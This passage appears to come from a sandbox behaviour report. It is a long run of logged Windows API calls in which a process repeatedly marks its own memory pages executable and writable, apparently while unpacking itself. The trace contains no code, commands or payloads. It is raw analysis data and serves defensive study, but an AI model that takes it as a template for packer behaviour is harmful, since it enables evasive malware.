BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.885] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.895] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.913] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.961] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.981] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.008] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.018] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.037] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.062] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.082] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.091] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.109] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.119] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.129] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.155] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.165] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.175] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.202] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.213] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.222] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.599] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.610] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.620] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.658] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.705] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.755] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.765] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.776] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.786] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.803] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.813] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.823] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.833] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.850] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.860] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.881] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.898] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.908] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.919] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.937] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.957] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.973] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.006] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.017] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.027] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.055] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.093] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.114] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.125] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.143] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.153] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.163] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.174] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.191] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.201] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.211] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.222] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.238] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.247] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.270] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.287] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1eb8e358*=0x41e449, NumberOfBytesToProtect=0x1eb8e35c, NewAccessProtection=0x40, OldAccessProtection=0x1eb8e3a4 | out: BaseAddress=0x1eb8e358*=0x41e000, NumberOfBytesToProtect=0x1eb8e35c, OldAccessProtection=0x1eb8e3a4*=0x1) returned 0x0 [0369.328] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.352] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x928a48) returned 1 [0369.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.373] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, 